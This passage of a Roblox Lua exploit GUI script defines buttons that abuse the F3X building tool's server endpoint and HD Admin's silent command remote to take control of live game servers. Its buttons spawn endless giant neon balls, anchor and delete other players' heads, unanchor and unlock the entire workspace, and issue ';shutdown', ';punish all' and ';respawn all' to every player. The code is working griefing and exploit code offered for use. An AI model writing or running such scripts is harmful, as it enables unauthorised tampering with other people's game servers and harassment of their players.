			function f3xbuildpart(part, cframe, destination, size, transparency, colour, material, collision, fake_part)
				local allPartsData = {}
	
	
				table.insert(allPartsData, {
					Type = fake_part:IsA("WedgePart") and "Wedge" or fake_part:IsA("Seat") and "Seat" or fake_part:IsA("VehicleSeat") and "VehicleSeat" or fake_part:IsA("TrussPart") and "Truss" or fake_part:IsA("SpawnLocation") and "Spawn" or
						fake_part.Shape == Enum.PartType.Block and "Normal" or
						fake_part.Shape == Enum.PartType.Ball and "Ball" or
						fake_part.Shape == Enum.PartType.Cylinder and "Cylinder",
					CFrame = fake_part.CFrame,
					Size = fake_part.Size,
					Transparency = fake_part.Transparency,
					Color = fake_part.Color,
					Material = fake_part.Material,
					Collision = fake_part.CanCollide,
					Ref = fake_part,
				})
	
				local sync = plr.Backpack:FindFirstChild(f3x_name).SyncAPI.ServerEndpoint
				local partMap = {}
	
	
				for _, data in ipairs(allPartsData) do
					local created = sync:InvokeServer("CreatePart", data.Type, data.CFrame, destination)
					partMap[data.Ref] = created
				end
	
				for _, data in ipairs(allPartsData) do
					local created = partMap[data.Ref]
					if not created then continue end
	
					spawn(function()
						if data.Size ~= Vector3.new(4,1,2) then
							sync:InvokeServer("SyncResize", {
								{ Part = created, CFrame = created.CFrame, Size = data.Size }
							})
						end
	
						if data.Transparency ~= 0 then
							sync:InvokeServer("SyncMaterial", {
								{ Part = created, Transparency = data.Transparency }
							})
						end
	
						if data.Color ~= BrickColor.new("Medium stone grey").Color then
							sync:InvokeServer("SyncColor", {
								{ Part = created, Color = data.Color, UnionColoring = true }
							})
						end
	
						if data.Material ~= "Plastic" then
							sync:InvokeServer("SyncMaterial", {
								{ Part = created, Material = data.Material }
							})
						end
	
						if data.Collision ~= true then
							sync:InvokeServer("SyncCollision", {
								{ Part = created, CanCollide = data.Collision }
							})
						end
	
						local ref = data.Ref
	
						local texture = ref:FindFirstChildOfClass("Texture")
						if texture then
							sync:InvokeServer("CreateTextures", {
								{ Part = created, Face = texture.Face, TextureType = "Texture" }
							})
							sync:InvokeServer("SyncTexture", {
								{ Part = created, Face = texture.Face, TextureType = "Texture", StudsPerTileU = texture.StudsPerTileU, StudsPerTileV = texture.StudsPerTileV, Texture = texture.Texture, Transparency = texture.Transparency }
							})
						end
	
						local decal = ref:FindFirstChildOfClass("Decal")
						if decal then
							sync:InvokeServer("CreateTextures", {
								{ Part = created, Face = decal.Face, TextureType = "Decal" }
							})
							sync:InvokeServer("SyncTexture", {
								{ Part = created, Face = decal.Face, TextureType = "Decal", Texture = decal.Texture, Transparency = decal.Transparency }
							})
						end
	
						local mesh = ref:FindFirstChildOfClass("SpecialMesh")
						if mesh then
							sync:InvokeServer("CreateMeshes", {
								{ Part = created }
							})
							sync:InvokeServer("SyncMesh", {
								{ Part = created, MeshId = mesh.MeshId, TextureId = mesh.TextureId, Scale = mesh.Scale }
							})
						end
	
						local light1 = ref:FindFirstChildOfClass("SpotLight")
						if light1 then
							sync:InvokeServer("CreateLights", {
								{ Part = created, LightType = "SpotLight" }
							})
							sync:InvokeServer("SyncLighting", {
								{ Part = created, LightType = "SpotLight", Color = light1.Color, Range = light1.Range, Face = light1.Face, Angle = light1.Angle, Shadows = light1.Shadows }
							})
						end
	
						local light2 = ref:FindFirstChildOfClass("PointLight")
						if light2 then
							sync:InvokeServer("CreateLights", {
								{ Part = created, LightType = "PointLight" }
							})
							sync:InvokeServer("SyncLighting", {
								{ Part = created, LightType = "PointLight", Color = light2.Color, Range = light2.Range, Shadows = light2.Shadows }
							})
	
						end
					end)
				end
			end
	
			for _, part in next, imported_model:GetDescendants() do
				local function spawnpart(fn)
					task.spawn(fn)
				end
				if part:IsA("Part") then
					if part.Shape == Enum.PartType.Block then
						spawnpart(function()
							f3xbuildpart("Normal", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
						end)
					elseif part.Shape == Enum.PartType.Ball then
						spawnpart(function()
							f3xbuildpart("Ball", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
						end)
					elseif part.Shape == Enum.PartType.Cylinder then
						spawnpart(function()
							f3xbuildpart("Cylinder", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
						end)
					end
				elseif part:IsA("WedgePart") then
					spawnpart(function()
						f3xbuildpart("Wedge", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("Seat") then
					spawnpart(function()
						f3xbuildpart("Seat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("TrussPart") then
					spawnpart(function()
						f3xbuildpart("Truss", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("VehicleSeat") then
					spawnpart(function()
						f3xbuildpart("VehicleSeat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("SpawnLocation") then
					spawnpart(function()
						f3xbuildpart("Spawn", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				end
			end
	
			print("Finished build.")
	
			task.wait(5)
	
	
	
	
		end
	
		realm()
	
		wait(8)
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";respawn all")
	
	end)
end;
task.spawn(C_2c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_2e()
local script = G2L["2e"];
	script.Parent.MouseButton1Click:Connect(function()
	
		local RunService = game:GetService("RunService")
		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local hrp = char:WaitForChild("HumanoidRootPart")
		local f3xTool
	
		for _, v in pairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				f3xTool = v.Parent
				break
			end
		end
	
		local remote = f3xTool.SyncAPI.ServerEndpoint
		local function Send(args) remote:InvokeServer(unpack(args)) end
	
		local myTool = Instance.new("Tool")
		myTool.RequiresHandle = false
		myTool.Name = "Mystic Annihilation"
		myTool.Parent = player.Backpack
	
		myTool.Activated:Connect(function()
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
			RequestCommand:InvokeServer(";music 1837808628 ;volume 5")
			local function CreatePart(cf, parent)
				Send({"CreatePart", "Normal", cf, parent})
			end
			local function MovePart(part, cf)
				Send({"SyncMove", {{Part = part, CFrame = cf}}})
			end
			local function SetAnchor(bool, part)
				Send({"SyncAnchor", {{Part = part, Anchored = bool}}})
			end
			local function SetLocked(part, bool)
				Send({"SetLocked", {part}, bool})
			end
			local function SetCollision(part, bool)
				Send({"SyncCollision", {{Part = part, CanCollide = bool}}})
			end
			local function Resize(part, size, cf)
				Send({"SyncResize", {{Part = part, Size = size, CFrame = cf}}})
			end
			local function SetColor(part, color)
				Send({"SyncColor", {{Part = part, Color = color, UnionColoring = false}}})
			end
			local function createdecal(part, side)
				Send({"CreateTextures", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal"}}})
			end
			local function SetTrans(part, int)
				Send({"SyncMaterial", {{["Part"] = part, ["Transparency"] = int}}})
			end
			local function AddDecal(part, asset, side)
				Send({"SyncTexture", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset}}})
			end
			local function DestroyPart(part)
				Send({"Remove", {part}})
			end
	
			local depthOffset = -3.69
			local offset = Vector3.new(0, 0, 0)
			local padCF = CFrame.new(hrp.Position + offset + Vector3.new(0, depthOffset, 0))
	
			CreatePart(padCF, workspace)
	
			task.wait(0.4)
	
			local pad
			for _, v in pairs(workspace:GetChildren()) do
				if v:IsA("Part") and (v.Position - padCF.p).Magnitude < 5 then
					pad = v
					break
				end
			end
	
			if pad then
				SetAnchor(true, pad)
				SetLocked(pad, true)
				SetCollision(pad, false)
				Resize(pad, Vector3.new(50, 1.5, 50), pad.CFrame)
				SetTrans(pad, 1)
				SetColor(pad, Color3.fromRGB(255, 255, 255))
	
				createdecal(pad, Enum.NormalId.Top) 
				AddDecal(pad, "196689311", Enum.NormalId.Top)
	
				local rotationAngle = 0
				local spinSpeed = 5 
	
				local connection
				connection = RunService.Heartbeat:Connect(function()
					if hrp and pad and pad.Parent then
						rotationAngle = rotationAngle + spinSpeed
	
						local targetPos = hrp.Position + Vector3.new(0, depthOffset, 0) + offset
						local finalCF = CFrame.new(targetPos) * CFrame.Angles(0, math.rad(rotationAngle), 0)
	
						MovePart(pad, finalCF)
					else
						connection:Disconnect()
					end
				end)
	
				task.wait(60)
				DestroyPart(pad)
				RequestCommand:InvokeServer(";unmusic")
			end
		end)
	
	end)
end;
task.spawn(C_2e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_30()
local script = G2L["30"];
	script.Parent.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local player = Players.LocalPlayer
	
		local character = player.Character 
	
		local player = game.Players.LocalPlayer
		local char = player.Character
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
	
	
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
	
			return nil
		end
	
		-- get all info
	
		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")
		local workspace = game:GetService("Workspace")
		local player = Players.LocalPlayer
	
		local function findTools()
			local char = player.Character or player.CharacterAdded:Wait()
			for _, v in ipairs(char:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(player.Backpack:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
		end
	
		local tool = findTools()
		if not tool then return end
	
		local remote = tool.SyncAPI.ServerEndpoint
		local function call(a)
			return remote:InvokeServer(unpack(a))
		end
	
		local function newBall(pos)
			local ball = remote:InvokeServer("CreatePart", "Ball", pos, workspace)
			call({ "SyncAnchor", { { Part = ball, Anchored = false } } })
			call({ "SyncColor", { { Part = ball, UnionColoring = false, Color = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) } } })
			call({ "SetName", { ball }, "neon ball" })
			call({ "SyncMaterial", { { Part = ball, Material = Enum.Material.Neon } } })
			call({ "SetLocked", { ball }, true })
			call({
				"SyncResize",
				{{
					Part = ball,
					Size = Vector3.new(270, 270, 270),
					CFrame = ball.CFrame
				}}
			})
	
		end
	
		task.spawn(function()
			while true do
				task.wait(0.1)
	
				local hrpcf = player.Character.HumanoidRootPart.CFrame
				local x = hrpcf.x
				local z = hrpcf.z
				local randint = math.random(-600, 600)
				local randint2 = math.random(-600, 600)
				local xloc = randint + x
				local zloc = randint2 + z
				local cf = player.Character.HumanoidRootPart.CFrame.y + 400
	
				task.spawn(function()
					newBall(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
				end)
			end
		end)
	end)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_32()
local script = G2L["32"];
	script.Parent.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local player = Players.LocalPlayer
	
		local character = player.Character 
	
		local player = game.Players.LocalPlayer
		local char = player.Character
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
	
	
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
	
			return nil
		end
	
		-- get all info
	
		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")
		local workspace = game:GetService("Workspace")
		local player = Players.LocalPlayer
	
		local function findTools()
			local char = player.Character or player.CharacterAdded:Wait()
			for _, v in ipairs(char:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(player.Backpack:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
		end
	
		local tool = findTools()
		if not tool then return end
	
		local remote = tool.SyncAPI.ServerEndpoint
		local function call(a)
			return remote:InvokeServer(unpack(a))
		end
	
		local function newBall(pos)
			local ball = remote:InvokeServer("CreatePart", "Ball", pos, workspace)
			call({ "SyncAnchor", { { Part = ball, Anchored = false } } })
			call({ "SyncColor", { { Part = ball, UnionColoring = false, Color = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) } } })
			call({ "SetName", { ball }, "neon ball" })
			call({ "SyncMaterial", { { Part = ball, Material = Enum.Material.Neon } } })
			call({ "SetLocked", { ball }, true })
			call({
				"SyncResize",
				{{
					Part = ball,
					Size = Vector3.new(270, 270, 270),
					CFrame = ball.CFrame
				}}
			})
	
		end
	
		task.spawn(function()
			while true do
				task.wait(0.1)
	
				local hrpcf = player.Character.HumanoidRootPart.CFrame
				local x = hrpcf.x
				local z = hrpcf.z
				local randint = math.random(-600, 600)
				local randint2 = math.random(-600, 600)
				local xloc = randint + x
				local zloc = randint2 + z
				local cf = player.Character.HumanoidRootPart.CFrame.y + 400
	
				task.spawn(function()
					newBall(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
				end)
			end
		end)
	end)
end;
task.spawn(C_32);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_34()
local script = G2L["34"];
	script.Parent.MouseButton1Click:Connect(function()
		-- by picklelover
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = game.Players.LocalPlayer
		local char = player.Character
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
	
			return nil
		end
		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
	
		local function delete(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = game.Players.LocalPlayer
		local char = player.Character
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
	
			return nil
		end
		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
	
		local function resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function syncmaterial(part,mate,trans)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = mate
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
		local function transparency(part,trans)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = trans
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function color(part, color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color,
						["UnionColoring"] = false
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function syncmeshid(part, id)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..id
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function makemesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function syncmeshsize(part, vectora)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = vectora
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function syncmeshtexture(part, id)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] =	"rbxassetid://"..id
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function name(part, stringa)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringa
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function lock(part, boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function setcollision(part, booleana)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = booleana
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function setanchor(part, boolean)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function fire2(part, color, color2)
			local args = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 100,
						["Color"] = color,
						["SecondaryColor"] = color2
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function makefire(part)
			local args = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function createdecal(part, side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function setdecal(part, asset, side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local plrs = game:GetService("Players")
		local Workspace = game:GetService("Workspace")
	
		for _, player in pairs(plrs:GetPlayers()) do
			local character = player.Character
			if character and character:FindFirstChild("HumanoidRootPart") and character ~= plrs.LocalPlayer.Character then
				local humanoidRootPart = character.HumanoidRootPart
	
				-- yo
				local position = humanoidRootPart.CFrame * CFrame.new(0, 0, 1)
	
				task.spawn(function()
					setanchor(character.Head, true)
					task.wait(0.5)
					local hellolol = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
					color(hellolol, Color3.new(1, 0, 0))
					name(hellolol, "REKT")
					resize(hellolol, Vector3.new(2, 9, 2), position)
					lock(hellolol, true)
					makefire(hellolol)
					fire2(hellolol, Color3.new(1, 0, 0), Color3.new(0, 0, 1))
					task.wait(2.9)
					delete(character.Head)
					delete(hellolol)
				end)
			end
		end
	end)
end;
task.spawn(C_34);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_36()
local script = G2L["36"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";punish all")
	end)
end;
task.spawn(C_36);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_38()
local script = G2L["38"];
	script.Parent.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
	
		function Unanchor()
			for i,v in game.Workspace:GetDescendants() do
				spawn(function()
					SetLocked(v,false)
					SetAnchor(false,v)
				end)
			end
		end
		Unanchor()
	end)
end;
task.spawn(C_38);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_3a()
local script = G2L["3a"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";shutdown")
	end)
end;
task.spawn(C_3a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_3c()
local script = G2L["3c"];
	script.Parent.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function Sky(id)
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
					--spawn(function()
					SetName(v,"Sky")
					AddMesh(v)
					--end)
					--spawn(function()
					SetMesh(v,"111891702759441")
					SetTexture(v,id)
					--end)
					MeshResize(v,Vector3.new(7000, 7000, 7000))
					SetLocked(v,true)
				end
			end
		end
		Sky("172423468")
	end)
end;
task.spawn(C_3c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_3e()
local script = G2L["3e"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";char all Natenea1254")
	end)
end;
task.spawn(C_3e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_40()
local script = G2L["40"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
